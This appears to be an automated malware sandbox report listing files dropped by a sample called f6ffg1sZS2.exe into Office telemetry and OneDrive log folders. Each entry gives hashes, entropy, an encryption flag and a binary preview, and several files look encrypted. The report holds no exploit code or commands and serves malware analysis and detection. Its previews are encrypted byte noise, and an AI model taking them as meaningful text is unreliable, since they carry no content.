Preview:	1.1.9..i.I_`..@...W..3Q.%+....0..2..u..;4.Tz..,.E.].R..J..`.]`.........e..'...N...3..`.....)....Q....}4}\.7.rvsz....Q.:Qh...W.0.hSpf.K!.u..5sO6.....>...R..I.......R.8Z).6TF.rgLk...c0KnL.M.._(.....-zP.........n.I..dr.....r..'.[.....X..T@.g.\t.w.=.9.1.IK.?..I..C.T]....rN.P..c....%.L.q?...Vs..E.K....- gI..<RNY6Uvg.{..^q(<..E... .O..3.P6..>.w.....W...rDHu.Q? .V...n..AV..R.!2{E.(..x..8....P.M..Q.....Nj/...S.ELq.O,.."@...B..{T...:....i.A..r.#.o.#......S..7.....;.+..f......[.Z&...G.O.;),...ZM....8...l..b.s..:<.S.U....d../....Jl.....p.n.:.g.F.r...T...g..?tO(.q.....-.H=.....X..b......m..+.ce-..OE....%...)&9U..9`E..5.1.e56k`........[....{.....7ixM..s.P....1Z..D7..e?xhz....[^S.?...\..{b.....R.,.9.$`BFy......@.M.=...Q.....n1/..]9....: .i3....C.:...{.D$W...k.M$.tvA9gT...O.......u6..}X...}+...f7..r...n..F...73....h....F".w....9...e..v....:.h...g.X(pJ.XS..........(.`;.."..DS.[Pk2..c...F.G6..:....K....)8o...B.p=..#h..f. S..U.0~.BBX..:.+.X....>[[......

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.99483811498951
Encrypted:	true
SSDEEP:	768:JQaaiHO2qvabNi0nyUxqxCQl3BJAXbOXF9RLMQa+aziwcYbca:0jCb3nyoO3BJEabRM3+amw5b1
MD5:	7BF3774F57106F96CCFF979850DEC2F1
SHA1:	3FCE89A40AD65B2F69672A37D58A8FA27672ABC2
SHA-256:	1D353F6EDCA919741743E1A86904D4F598AB4B2FA2E5FD4D65C6E5F5234230DE
SHA-512:	38B73AE9387258CA6E0467FA275FCCC8BA0DF6A1C377100B19E925386045C8ECBCFB8DDE47C866BE71D5D31BFE57CC1AAFF67E4808F733E7F539E4499C541755
Malicious:	true
Preview:	SQLit...a......Z.4....L...wwP..].zz2.....1..G..L...,N........$......./.@&.6sY<..+.g....eZ..C.........5..y..@..x..y.=...._5HV..y+{...>.O.z ..F..@..{J82..`.".\|/.d.c..t..!?3<tY.+.PpA.....3.!)!;)..&..\:.y... .E.o..=....$...6.{...!.....&.\|.c.8...........4...F..d_...f. &...g....~.o.N..B.....[.........N...v[...!].7cf4E...:...`2...6eBGIT.y...{j+.jJI...yn....J=...}.1.....'.W..._5..%..<...s...c....u..}.........j....s}l..Soki,Lf.E......g...vV.+....'U..] h.Og>..6.i....f.T..A8.r%.F...ke...$.........\....>..%?...{OK.z..H..xa...!\|.."....?..g..[,Z.<......{..I.K...TMx.P..O........L..'..].o_........p.)....8 ..S...G.XyA...~w.op.&..QnV&=E.N.CH..G.w<.:.....iz:/.W..=......k.(..lR.~..].)..YA.g.....!.y..-@..".g..+.6....l...^....N..w.....q.....wC..{c...K.nx..&$.C..P+.......~.i;[..R)\|.E...GU....}E..B.P.w&.q..Ah...=d..\|.R....g.....D.....L...{.......=4.....dP.E.>.F.......<zi....$P.G.m.>.....Z7.X!-..`....I~O....`.0.....1...q...P.^....>..v.....`K.A...,.ai.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.session

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.9891945822206285
Encrypted:	false
SSDEEP:	384:6WYbOqr9JryxvVX75taqQ2sRxbjiP73p/8Aw8EqZY/8Jjb:6WSvYrX7ZfsjWPbd80EX8J3
MD5:	BF3C4466DBDFCDC318368FED00F1839D
SHA1:	0B9F46D1F75D6416C5CA2D46F2C01557EA6C4CB9
SHA-256:	14A6B1A5B23D96EA753D0186F6A1C5F19F3276707505AA931D41F680D42E8FDE
SHA-512:	8332668FA1B995A23382EB79DA9C8EC4F56E3D159B3BFF53B2C19FF37A8DD3403A66A02CD8C3BE6AF84B1D69A73E86BD66FAB5BE8F49EADF368485EE2DB352D2
Malicious:	false
Preview:	SQLitx........h.G.s.z...8K.%.m....Z..5.tn..2!.....Z.....Wza...Ip..c.}d....~.].U....I..r...OM.0....2...S.!.{j..'L.fc.F.}....4.n.J........nqeZ....kCX.....!:~.p;..... Qj... L...L..:......f!..I.r.b..f6.z..II.+...Mn......F.K..3..{b.y....0....!.q.'......%.,..HH[%.......^l4.f.'...\Q.J.......f...@..U....2..`.....D...rxLN.:m.. .J....st92..#..wMf.Y.L..Q.y.J<..+..t..5...<.K.5,...l;h..0.;;.zx.(...:.ml.g.z.......g...c..y......)......)$.~6..3+\....J6....D..:.u...+.......8....5dtF...02..~ .5.~C....w......r0j.+.D.)..ri0.P...a....1 {tmB.0..D.o.m.oy.3$Q;....o..P*....!.`.<h ..../..gm............'.P..p..q?.[d..M...p..\0a.#6....Yc..c....`...%.8k.V.Eqvt.[.4A..F...C0D9)w..Ek5b]Q.]._......&y.qwWc._.<.:.s.n..h.l....93...F..q..1..<..uX.k....ilV.....4.;...s\p.}2..m...G..3.l3.`. ..p...H<t.<.....6JN.s)..."yC.p..X..Y.R..(..fF..eDV.Q...O..r.J.)..n..4...K...}.q....H...;..".1^C.\|s..ev.\|.r5...O....6x{5.....U ..u...8s.3...z....2..m.FfV(.K...q....~_.y..D2..e..+...

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993261997267048
Encrypted:	true
SSDEEP:	384:Mc6S3S71mqqwwl6jmj7gkBh4dP7urWRdXsYKXlfHshkPH00MOolUvg:Mc6t1E6E7JBhc7agKXlfykPHqO7vg
MD5:	4D371662480A9A4166128401BC524613
SHA1:	3ECEA67792FE444DC38D4A16CE6552A768724E37
SHA-256:	98ABFEB44E54A3875B4388CD93DB0CA69D6CC89916E92F33D11E38A7EA15573F
SHA-512:	24BC9191DD3EE115C3EFE7096FF7CD2E6A1F97C1DC5C9FF71805EA2BB319B3F0CAD680AAFA49E3FB016C6DCAD5466FA78F896976A4E9780D28E138628696515F
Malicious:	true
Preview:	SQLit:f#/...pt.>..J.3....\|.j.....&.......r -4\|..a\|.O.o..)..G.....Y.B)..I.r.BC?\.ggK%y.O....r I....l..........G'.!..L...r.@.~a.yP....WZ......[}56..^.O...^....6.g....?....G..........5....n.....<.P,w!B..!..#].4._.8h^.<.........L'.6....r....tL..hB..u....W.U'.[..rV.....).V..].M.5...z...m..RF~......~...q..u.6.h.U.....+A.....;M5.....o.{...z:.Gei7h.2:....9...h....zLP$.#..@^.6.G.,.4>..E5w6.......U>..p....X..y4..D[.9........f.q'L....j.y.d.g...#....M../..S..y.j....yp..k..T.-W...\|5.?;..l..c...^..C.Xu.A.L}!x.t.E#.x.y...b .O.Q.A..v'..,5.?.F\|....[t.+E.....0f..F.F..C..-i..&....;G.H.D.{.r...w.LW'.<.+~..ar>...?D.%...C.R...N........6...v....Wjc ....{wH..>-j.1k.z..B....'...,k...E...a1N..4a..a...'Y(.......6.N7..B..Nm...uH.....J.....q....b...).Q..~!.Y...\|.Z..N...E.&.uS:.~uW_.,.~..,$\7.G..V..BuR...[....A.8...Y+=...E..\. .......Z....<I....].6.a32..>..,W.u..A.&....../&.?...asD.m_...=.l.wR.\../.B.1.WvI.j@...1ze...C.*^.i..M.....p>..!....".U..Qg...j.V.

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.991564645779569
Encrypted:	true
SSDEEP:	384:BLZaDD31/DRa2ZTh7hKUgZHRO6Ar7akfl5koUGUj5tJEiZEChzFosxrCw:F43a2Zh6H46Ar7lflyvGSE46s8w
MD5:	1B4A9195617128621A4A59009F77D040
SHA1:	CD4081767309419AF16874A84B80097875A83A93
SHA-256:	6433C0C8E41E9E196C34CBD84F475FBA97D962385A4AA04B74200A06E9D45C85
SHA-512:	41D82A198E83BFFD1C96C3009A9984A8A5B373B3F0EAA192268DF9DC1380A61FBCEB4D9464A4E79E8E503E6617B80FC4B651B158DF2C4C0FBA0ABEEDD4DA0028
Malicious:	true
Preview:	SQLit........c.R!..%3..M2..._...>e.."..P......U#.T66.\|m.n..N}Jx._...;..4.j-... ...J`..CDf......\|,-.&E.f).zl.^..D.?#1..Yn..K..........F...v).0r.y<...8...V@.r.Ijn....1.....>....S....:3.v-.k.1...e.m..q2..T....;.......=j...b..=<O....c}j...9}\|l..c.K.!... .e}.(.t\|......T....1v.m;...@hY&f..S(6..Z.%}.x..g...8(..r...'\|.4aj...T.....-6..H>9.7.7...........3\O,R.BVL.N_..FI....b.\..#.x.{1..5.q'f..0......`?...$.q}Hr....6.5@P......F......._J..&...y..S.D/.xZ`....(U......~2......9..T.z.0?M./..%._..{W..f#.w.X.......N........w..{.....k..$0.....6..;.>.. b{....&.Z..nL.../..@...H..L....l...I.l.......".w...^}.{.hvGJY.R.op#..^...^.8...2\|S.u.x../.].R=dVd..W.G...., ....$~.w.@G.J?m.^NK:LR.{M.!...)L..F......[.m.....\?...5.v....Oqy.U9.h....Ch...V.":...anH....,.b.ss...U0...,.u.a'.-r&Z......Y^M_V... ...T...#..H....Ih.......d..N.\|...GL4...8....4..l.=L..;....CE,.@....:.. .$...t\|.4.......\|..k.xl...i.......U...U.5X....W]..b.q...;....?.........iD..+v.cyw...6..!..VyJ..

C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993025486672038
Encrypted:	true
SSDEEP:	384:RD3mfoeF5O1IJR0j7GPyJ4OF28l6sWYVO4z2nRur4eqtRdf1jqOoHng+:Ufoem1JGSVlzlqRurAzdjqOoHng+
MD5:	9FC3B8C45ADB570B475D7A5E8FD4812A
SHA1:	C7F2DD72085FB93941F23F6AEC29E279C81873FA
SHA-256:	71961778E33716DA3F673908017C0D4B0BF575DF6F028B9AC5D073F48898C1F2
SHA-512:	3DEF1441F1DBB7E3ED8BC990DFCA15639FCDAFE4CA4BBCF15611C7ABD0169B492F0C8E8F29AD54E8D94B69794E2A8FFE72B8B22374F349C64A990D875DE71551
Malicious:	true
Preview:	SQLit.8...k.\.X.n.....#..V.b.+1..M....c..]...........a...p..e.\7.DX.+...S..L/;. .59.#...K..!\|4l..<I..V.]Lm.s......!Z........%..C.+..V.u...T.r...nK..q.z_.j_@>>......m..j.c<...5.pvj.......[......x....T.n.."K...w9.s.u.a(n.$j..X)P...9.Tb......=%%..Y-...o;.d....P.\..D.3Z..=.....FNg.....K....K..q.Ahl..G...pn.....`9{.\.?...z....;.Qa..>..E.s&=.P.P.y..)..)..W.k`x..J..I...Y...,..-}dd..`/.^...@...Q..1...{.......S.ZCI:b/l...~.z..v...nZ...z..^.6b...M+#.:.E..t...>S..\...jH\..)s..\.mr.7.:...hW+0...6....ec?....=.EB._...... .h.....(IX..G....dh+.v..I+............21LNc..89..l...h.7.@..Qo.6.....p.f...Q&....j.... V.!t..I..HD.{q..../..mQ..e.a/1g@.J.1T&......."..n9...1..0..+oK....L.U..=.t.Q..e..k-...:.....P......~#C.~d]w~....\|..J...b..)a...nE.........1FIv.X.....&%.....Q..%.b.....3.N.9....%.2l.AzT[...c..!.5Z...\|..9...........w...+...^.t...0.)t..@.......>DEI.~.t}...Vnq.!......2...\.2e......;..h.Q\K...B.*....>~.a.".....t.Mm6..\..C..hC......:..

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.0953.5356.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7036321944893119
Encrypted:	false
SSDEEP:	96:lprQRhuAQtFnC473FcNuLwwJuIPbx6avEuiq:LQRhutBr3FlkwJuITxzEui
MD5:	76EAC8C7387F2EFB469BD802F53411E3
SHA1:	7722C8F24D9C8FAD2B8E89AFAFE2A419D4E29B1F
SHA-256:	951D652BA678125CBEF80ADC66146D213AF8644E46A7B011D6F161D7C2A1FC19
SHA-512:	24C76E19442181A6AEA83AC78CB65DA580AA0EF1199117DFEFD0C71D010CC694D9EDE505C3D1944A10D34666A64DF4B99FD2E144B2C8AEBA2DC7BD1743062405
Malicious:	false
Preview:	EBFGO.c.-.....:)K.>2.....'...[..#..X...]y\|.-.&.VHc..%.s\QZ.{7....S..v...IF8.......j ..F.....T.P!...Uq.YM7.\|P..f.-x..j..3=.\.#w.}...'.?.m.......a.@v.G...<V....T..,....P2c.3..b.i.R....\.1DgJ...U.b...n`AK`....D.WA._$.f+...^b.^..g#.7..Dc...."..G.zJ.^.z....A...T....-..R.....s2..k2\.zoN?...2$J...T....\...W.vE\|e}V....U......=.....2I.!\.U..........h..D....t./..zH`m.3.....<..... ..0=.x..{}...B.....F.....ghV....?...&&........S.3d.........a....)..5..h...\.........#.fLy....?Bh9P...FK..:...R#...\..~C......(.8........O3H..C.\U. $..rN......Z.W...?;...[.%.....3C.Y9.<+.w^1.C..c.W.3.(..,t...f.y.....d. .B.......`..........;.O.y.J....1.m'.\|.X.K....b..s....K.fm..!Y.@.cHg.G#_v.5G...Du0@..H.Y.)r...,?.....+B..R......D.VHT.d.~...n.8.W.A.+.......o-...^..R$F1.~.......B,E..z.e..?.o(&.Fn...N..o..n.p...c..s-C!\|..n...IVt..-M.CZ.\|.[.....76..U.....q%E}.=.V{G..._....l...h..W...XV.Ot.x..D.....s.e.7.E_.J......Q...8....a>z.....i.>.....m:. ..G.q...)z.K#....&J

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\FileCoAuth-2023-10-04.1052.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.7694154805483622
Encrypted:	false
SSDEEP:	48:QNJzATdJoWQ56wqscdSIsBoXcahwDx02LuOWhHGWIRTnxt75Bs6H13n/gXAIBkRK:YOYWYpESIaocr0TGWk15fJ4XwRNYnD
MD5:	FAE50DAD4F327EFEE3091F11D37E0215
SHA1:	1DF0712E4B83EBA152E1B82A6AF17F21A51FB2DB
SHA-256:	D399C27C1E0A225A8D13AEBC51AD2C25CCCC49BE51F9732A6DA3A695ED89BDF7
SHA-512:	C8BF8666ED54EF6E0A67133C98B349CDAD3C61D76EAF47FA6AFEFC0AF5171CA894DCD775329BA5E478936CA446AE73DED73720E9B5DEFA934FB713B46F9E8D09
Malicious:	false
Preview:	EBFGO........!m.;..:....Yu..~.R..zX....D...7y.x....&b..JB....$...d...]..!..@0.Z4_A.....[....s.<....gv!.d}...[.{..,..........;.,.~.Ec..q........>q.1.......{..-.3.5._.o&.^c.A .....5.Ym..........{."4..J.wh....9>.8t..l?....0<KS.h,P.~B.u..h...;....5.P...ic............6...T3C"..y,s...8.9qk.....n......?R^.........B.....@^...x....j...).....D..5UZ.^..r...q'.l>..9.87..p.8Y....O.bTg'G.4...u...L.E...o7Zd...5...^.cw.'J....m.......mZ...."k..!.s....}7GI..NWtl..J....\|.).s.......`.{.......}6~...#.C..)...O...(6.....,..=..g.'Li.+,....9.l..o.r=X.0.!.x....".n...&.Y.!.....w...p....w._F.....".@1V.....k...8.w8.../k.LX...;e.rnN-..YH..w"...C,..?7.....)..X..1...ty.c.I.(R...4&.......=(........7....i...T....A....#......\>V.U.u.ryl...B.5c....ea.>...a....%.]1.R...S..d.WO...U.).............5.u..&t.9..1.2....9.......?..t.u...C..b+....b.Q....EU$y.K.....*..z..}..Y......O..T..b.(...$'.n..Ni..T...D.F.^...)..y..MTN.B....X.s...M.8..R(.gq..v..:...2....9.Q.=..OQ.

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.22626009486684
Encrypted:	false
SSDEEP:	6:iPJv2ljnUrwJf6uJ9KumICW6Vgv6mbYIuoV2p/Whktu0HcnFm8pdgU3cii96Z:aoIuC+59CW6CvbuoVuW+tu0AS2cii9a
MD5:	B2A61CE11EE2C766D6445BBDFCA46602
SHA1:	4D046743FC68E07FCDF616B40610F2A4CE3C5664
SHA-256:	AE022388BC3AB7C33FB38571E62CD376683165B35F4B8369CD987BC31DF8A4D2
SHA-512:	10BF640476B99498CB2CB29862899B3934AF96738B203C9A0C66887B087DA9CC2E7E8473CA93D93BD08791E92F37702F5CB380A4AAA7163C7D8B28DBBB0F3948
Malicious:	false
Preview:	2..0,.l..%..iU..7.......&x..a.g.W.c:..B......f...........P.\..UI. y..O&.z.";G%w...h......Z.).v.Q......:d..].g...09.....1..fD`.....Z6......G..:.U..qf../...........62...o....F..gTucB8...?..*....D\|.E+....L..V.....qL.\l>4..D.x;6..K.t..t.!R)....'.HKh...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.040728736050462
Encrypted:	false
SSDEEP:	96:r/gwthvNe80dpbsGnZ6vQJ9stb6WXE3lYYpsWoh05owM9Adwnec6fE:r46hvOf5CC9sjXYYisWoh05xhB
MD5:	75AB5C42F9FBA9EF1D091ACB23667FC0
SHA1:	4FBB80A281FD20C292FA9BEA809696F2B11938F6
SHA-256:	A53F56EDF9AC7EF0542B943CB126F38CB2BE669F7244E8182177277B69187B87
SHA-512:	193AE24CAF63AF230F9A4E444F935553930B0B296DF2F3FE7A01E2F7392478CCCF8B2884E9E7A0020459B583892CC3EAA6D13B2820239F19D2B610AB2E386635
Malicious:	false
Preview:	EBFGO..9i.....;G]..c.5........+j.....7./}......f^.mh. ..s.7..7..S".os.......@.N...8&.a.8O"u....'.Xd.f...S.........p.3(\.Y_kQ..Ke$$..p.u.,...T.U.4C..9..?~.}#.`...Ri[..`...C(...5..bPD...W=..C...Fo~.1.4:9.....&.B...V......w8..+g..-A.....lgr#.w.q...j...Zq..@.Q..=.a^.]`U..?{...y.5..I.M-.^NQ..^........g..t.M..v8 R.5......Z..93....b.@..4.Ud....3]K?."3[.A....tO.B.Q}.....8...&.PK........'.."..,..h......~...1\.x..S.<...a%...n..?.A...T...X../[^...J..`./15./...qqUi.I.g21.T.......T.\|EE.".u-B5.x..F2....Bf.......I`...:.......5.N1?l.x.........Ub$==.z..q....\|.DZ..pr.[.0..Wn..V.\|.....i...X.t.."..-...'G.....U/..e....1.@9....Q...-....{~..d.F. y..C\$ .W1..%..S........L..'V.4=.?+H!....v{J.j1'...$M......j&..Bo`....#...t../..>..I....w.=s..x........5...dxsu....._..A.o`i.\|.,...Pj..(....ck.7,......[.....pC...l.UMV.&b&.._ .%Y............I.9..N...@.2.....l...{w.........9..P<z.I.&.Gd...2%...J......Z...\q....j...O.x.0G...s0`3;..>..YC....p.6.J........

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2801425695919337
Encrypted:	false
SSDEEP:	192:/0wqf+sxxOI7fbVS7kfYxh/qa23dBBdPf9dKpWLNyC:+d7fhNAx4au36tC
MD5:	FDAB7EBAD37F85EFC1F4E9A35277BDD1
SHA1:	DA9CD33805D8B7CEE16EFF106A14A26FA8C281F6
SHA-256:	2D7CB2689DAC3954CF88C1EA4A03E23AB8C7496B7981F0BD889A2674D7218942
SHA-512:	C7B820146CEED420A59F8E9DA1BE5662DB57A82DACD439A7A3D4028713B02F63B3BEF74C095288DAA2F4D3821E4CF1A20F018B2AE6B1F700AC64E9BCC0C764ED
Malicious:	false
Preview:	EBFGO8....o.....&l..4u...T.'o..7H...../?......._DB.[.k?Ef....:.O....1......y...@...a7.<....n...":"..)..%.f...j.......g.`.....L........K.q..).`0.f.$m...qT..."..r.LK,..\|.e...m....tu e..6.'.-.#r....{....Yb.E.%....[.I....C^...mC....1w){..i.....~j..N^........o..c...Xd/..'.E".ZJ...6;Y.....rd5.y.K...........Eo..jO..5.....Z.+...L........JS.&0.H...E.!.........8.......-....7!xP.%On....%..^..Gf.\x..;(.f.......O.)_a.98.\...i`XK.....#..s.V..gn.<.'..Ro...b.A!..[n.L...E.7q...Z.k..CI`7...&'N..~`.e......akqe..._V....i.f-.n......5.k.Sp.....{.z..o.[...;.v.Vk........Ny..W...^uhe.T.d....c....w...HW....;<.jk.@..n..!...J.y.\.v}...-.fj...8....~...nD....a?.L.L.K .i.i.Z...w...V..../XY...M....m...w(P..a...........@........?.G..7...]..44..u{...'*..s..C...y.{.^9...l..j...qs2..A.t.eg\Q'.X.q`....Xn.....@/..k..Y./...m..J.....h8..d......#.H.w....Nx+.Q...-=F....+.8.....8...km.....~...:.bP..>.7....D8....\|.h..D..H.Wn.s....8e@l2>.I. .nG..~L..OX.1"..K.T..'...k..\......~uF

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8952531640940244
Encrypted:	false
SSDEEP:	384:zFcHGPs/AhYwEimUh3cdmmU8UHVEwBfIu4e:hN1aw5mUhME3VNfIfe
MD5:	62CB5836FAA4D69DE25E99C6A29B008D
SHA1:	30213C3D8F025EA62486F4023ADF6F084292A72C
SHA-256:	D4467B0E50B5846DE8CBAF68DCF84E572CD9452A0A2EECA42E018895B48D189A
SHA-512:	6656BE36EBDC9A99A75C9DF8CBDCA716686083D412312C9CC6D1FE68478B832DDE0584111FE03104358098FC6FC3E3F75192386F95EC4B7BC21F5636E42F237B
Malicious:	false
Preview:	EBFGOU.#6+...,vK._.L-h...B:6PT.._LJefz...x60....e1r.t...=..........V....u..s......\|..g^./C.C].a^.'.lC...g;....~%...... .D...C....tih..sZ..\....'.v..R.M....Q.t...FF..Z.J,`.1.$Lmo....9............!....q..-..,&F..h.. .%48..s...&.-......}..VF..cO,%......u...}....C.\1.k....LQ..........}.d...dL..?g.'.7WOU..w......Oh.5.....\..a....<. P.b.QD.$...m......w.5O..(?H.8.x.....8=..Yr{<k..Ge.....$.U..1.N../).._O.Sr.....X5e.#...l4j.IGkj..u,.....8F.....lH0."^..h.h.M.V.z.... 5....../....Ku$x.Fm....P.r)5....@NN`......3....ih...P...u......sw.I..O...d...=j....... ..;..6wp.M.)lg....>....:.+l.."{.g........I.oA.....A.c.u.ms..(Z.s.46.\.,o..a^..r..6..!%./WN.~l....b.&.[.....#j./.m....IP\9.+....Zp.."...275O..c..5.r....h....w..VYh .h...f%.M.h.. ].}.d...}........\|RLm...;.g<.Z....M.b7Ge..nH.....'..b..o....>^...H.......r.6"...N...........s..J...^.4.........dl.g....!....B..1.H!...E..<..}(Jw.<.....=.I.)}[<g..N..o.8...Ct..0.... .".2..<z..B%y.].`.......>..}... M.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0130908938152963
Encrypted:	false
SSDEEP:	96:vivwbPI+siVJM2H/gzt4PUBpSs68zlCNf5JZHCul4NSG6wkrxPeV2i+crP:WwbWYJNH/Ul3d6OlCNf5JJhCYwk9PE
MD5:	9ABF1B7EBC5A524DC161E17FA2D8013B
SHA1:	3C0759E7D63E2DA7BACF392E3D51C564C076A6E9
SHA-256:	19919F2126666192A7D67761FF920A6431BCA9535B2A49121945D44581F172F4
SHA-512:	24EDF32F0126D6775FBE9F7ABE6B15DD01CE0200BF823D2A62DC5BBFA6FE25422CB123522AFFF5FA52AE14D29C8CF4815506B0383D4CD65A81307520F0D0052B
Malicious:	false
Preview:	EBFGOd..........;..vl...oe.....(..HH..(Wz.....L.0."}.&...g...X.aQ..9.<..cG7........{..F..w.Y....\|.7c.E..F...-.^eQ.....zj..`'C.."5uq...O.=.p.j..E...#k.k.o0...hs.$.7.a...#.$..D.:%...W....B...l.E....s..]e..../'..6..S.......b..tt..#k..Q-.V.>.TK.a........M..7Xg`W.,.....&r.,.{...6@;.yH._>.f...n.2>I...-..T.E.>eI.~.[t].5&..G..:j..P....M.1U..t.._........H.'...U.^..%^.v....7...-...\|.-.n..K....KK...U.L.T.n..)....7....w..v...@M\....K.=....zuKp.G7..4...Y.&...............&...(..g.1.I..YcI...2..$l..~R0.mI>$...v'RoQ.B.6.............P$...._Lz...'1.W.e...j.D2.M...T..T#...^I.:.!w..).<u.j..:I..V..j..c(...~.l>...!......K.\.Vt..6..x..L@.'._.-.t.S8....v.g...o.;...@..E%M..\.!....&X..D..`.....I..);g...P..E...n.d.....?.<....).Zw..s._.Wm...:b...B..)........u..j0..O...j^..3\...e...\...eY.8.......b..P....:V(D.V..\|...}\..k.Cr..T..Vs....h.m....}.&(..(.y~/2C...a.B...>hCN.s.......-..;}.+..;.0...C....k>....w.6$ibU..g..^...Z.....G..RV....(&.7m{....u..X..L......2

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20640170562648322
Encrypted:	false
SSDEEP:	24:If/DQ+2IHFz4Y/3KmyUZoc9prvjHeybz:If/DQ+2IHFzPfKmyUaCrjJz
MD5:	79828E62495857CA3CFA0E3A458A5EDE
SHA1:	717A4560E07211673EAFEB772C9B073EA7122BBF
SHA-256:	D5A9DD3EF80ABEFF48771DF5B702D95DCF8EE5E6BD893A9BDD8AD232E390C7C6
SHA-512:	3855001BB7BC4127C6BE7254EA3638C463A751778AA0FFE82DC74092603819AC2CDE838950933A03BA0123C1E9CD7FF66145F70932F4C64555D751B6CFD4C376
Malicious:	false
Preview:	EBFGO..=.Z...4...X..Q...d.x.,...... ..`.q..Z...X .}!c.#).B...[8.........QC.0C....jXy.`&.[...D....';n_..hB4g....vr.....oL.M.a.x..9l.....5....W9..I...e......0&jy..v.(x..\|r..FhAEM..N.a....y.qtZ.3...!..9....p..1../".L1%.#.i.M.....L.#.N.T:.`...`...i....P!-.?....3..zu2l...V.a-...U>V..c......j.s....X...'p.....x...U.......s...$..g.!.<...+].....i)....!..)..^._3a...(...[].~s.:...)N...V.._3...fH..Y..@..2.....d..)rL.=!....S.%:... .u.Xgv...........K.o.7....\|=g.......XpGc_.bt.fi.(....>.........G......w....w4........I..k+..<..7..x..&...wL.,.kp.q.{....&\.8T...2.a66...W..$.;..iY..r......N..p..X^P...FeZ..$..}l..~........"..J..".)O:pH.l...7Q......d......u_.(&....l.....f...<..."1.>.;'. E[)r...Y...ktS)........E..N..Ns<J.\|.n9.S..)..v.[.{..:..\..Nd}\.....R.xz..........cLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.6888353226647554
Encrypted:	false
SSDEEP:	384:uK1cH3Y6TfKgnvALHkrwItXJDyhV1/WP1MF+S5Cu42GbSbeumQKEM3rYn8+3B3Jr:d43Y6WgnMQZDwV1X+YLQiSEwYzZbx5
MD5:	7F6FD5B8AFACF83A07B21E36575D94CE
SHA1:	AC9A4740208CAEBC138C7B5B6847362E7D1C2266
SHA-256:	164E3D7DAB645A1157B6E2AD8F5BB1B85D23144FDA9AEE6B9D28580F382D443F
SHA-512:	B7FE80A8309B4B2C832534FBC6D19714CDA05628DCCF3C32FC68074E087D5557F6DE8E7384F4D8493C515D106FABDBFE7CDE19151F1B6A346D53C340354FFCC3
Malicious:	false
Preview:	EBFGOA......h6.d.~...[...t\|{.4.../.........!.Q.#...ks..!i........@.C.....9.o@9../I........L.D.$.E/...(.....x.(..tX.W...FJ_.U34..G.}.4t}..._f...o..J...X..B..7.p."a....]T.........,..VC.s.....b+..<./.5...]..7L......_M.V...moag...Y.LRz.......;...U,m_'x3Yijj{..r'=.[.....osi.."..g...I....?....tm{.=8%.K.,>..NOH'..#......wz.[.+..4`i{.7..4.H...P%....&..;.O...c...N..pm.6.( W..j..W.n..)...jr....\|.G..-Z>.[.6~..........2b@W....8q.9!..I.........B2x...N..L.kx.../lg... ..J.ra..\..J[XnK..1.&x..#.y...)./ .......IR...G....G..g....4oJr.C......I. ...(.A...l}.."b..p.).X?dJ.1...[.:...h.n....8^.0w..x....f.i.......K...S:.`.Vax.._..K...\R2h2..q...... 